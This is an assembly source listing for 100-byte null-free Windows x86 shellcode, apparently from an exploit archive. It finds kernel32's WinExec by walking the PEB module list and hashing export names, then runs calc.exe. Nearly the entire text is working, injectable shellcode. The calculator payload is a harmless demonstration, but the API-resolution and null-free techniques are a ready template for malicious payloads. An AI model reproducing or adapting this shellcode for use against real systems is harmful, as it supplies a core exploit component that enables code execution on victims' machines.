Windows/x86 - calc.exe + Null-Free Shellcode (100 bytes)

; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever <[email protected]>
; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/
; All rights reserved. See COPYRIGHT.txt for details.
BITS 32
; Windows x86 null-free shellcode that executes calc.exe.
; Works in any application for Windows 5.0-7.0 all service packs.
; (See http://skypher.com/wiki/index.php/Hacking/Shellcode).
; This version uses 16-bit hashes.

%include 'w32-exec-calc-shellcode-hash-list.asm'

%define B2W(b1,b2)                      (((b2) << 8) + (b1))
%define W2DW(w1,w2)                     (((w2) << 16) + (w1))
%define B2DW(b1,b2,b3,b4)               (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))

%ifdef STACK_ALIGN
    AND     SP, 0xFFFC
%endif
find_hash: ; Find ntdll's InInitOrder list of modules:
    XOR     ESI, ESI                    ; ESI = 0
    PUSH    ESI                         ; Stack = 0
    MOV     ESI, [FS:ESI + 0x30]        ; ESI = &(PEB) ([FS:0x30])
    MOV     ESI, [ESI + 0x0C]           ; ESI = PEB->Ldr
    MOV     ESI, [ESI + 0x1C]           ; ESI = PEB->Ldr.InInitOrder (first module)
next_module: ; Get the baseaddress of the current module and find the next module:
    MOV     EBP, [ESI + 0x08]           ; EBP = InInitOrder[X].base_address
    MOV     ESI, [ESI]                  ; ESI = InInitOrder[X].flink == InInitOrder[X+1]
get_proc_address_loop: ; Find the PE header and export and names tables of the module:
    MOV     EBX, [EBP + 0x3C]           ; EBX = &(PE header)
    MOV     EBX, [EBP + EBX + 0x78]     ; EBX = offset(export table)
    ADD     EBX, EBP                    ; EBX = &(export table)
    MOV     ECX, [EBX + 0x18]           ; ECX = number of name pointers
    JCXZ    next_module                 ; No name pointers? Next module.
next_function_loop: ; Get the next function name for hashing:
    MOV     EDI, [EBX + 0x20]           ; EDI = offset(names table)
    ADD     EDI, EBP                    ; EDI = &(names table)
    MOV     EDI, [EDI + ECX * 4 - 4]    ; EDI = offset(function name)
    ADD     EDI, EBP                    ; EDI = &(function name)
    XOR     EAX, EAX                    ; EAX = 0
    CDQ                                 ; EDX = 0
hash_loop: ; Hash the function name and compare with requested hash
    XOR     DL, [EDI]
    ROR     DX, BYTE hash_ror_value
    SCASB
    JNE     hash_loop
    CMP     DX, hash_kernel32_WinExec
    LOOPNE  next_function_loop          ; Not the right hash and functions left in module? Next function
    JNE     next_module                 ; Not the right hash and no functions left in module? Next module
    ; Found the right hash: get the address of the function:
    MOV     EDX, [EBX + 0x24]           ; ESI = offset ordinals table
    ADD     EDX, EBP                    ; ESI = &oridinals table
    MOVZX   EDX, WORD [EDX + 2 * ECX]   ; ESI = ordinal number of function
    MOV     EDI, [EBX + 0x1C]           ; EDI = offset address table
    ADD     EDI, EBP                    ; EDI = &address table
    ADD     EBP, [EDI + 4 * EDX]        ; EBP = &(function)
    ; create the calc.exe string
    PUSH    B2DW('.', 'e', 'x', 'e')    ; Stack = ".exe", 0
    PUSH    B2DW('c', 'a', 'l', 'c')    ; Stack = "calc.exe", 0
    PUSH    ESP                         ; Stack = &("calc.exe"), "calc.exe", 0
    XCHG    EAX, [ESP]                  ; Stack = 0, "calc.exe", 0
    PUSH    EAX                         ; Stack = &("calc.exe"), 0, "calc.exe", 0
    CALL    EBP                         ; WinExec(&("calc.exe"), 0);
    INT3                                ; Crash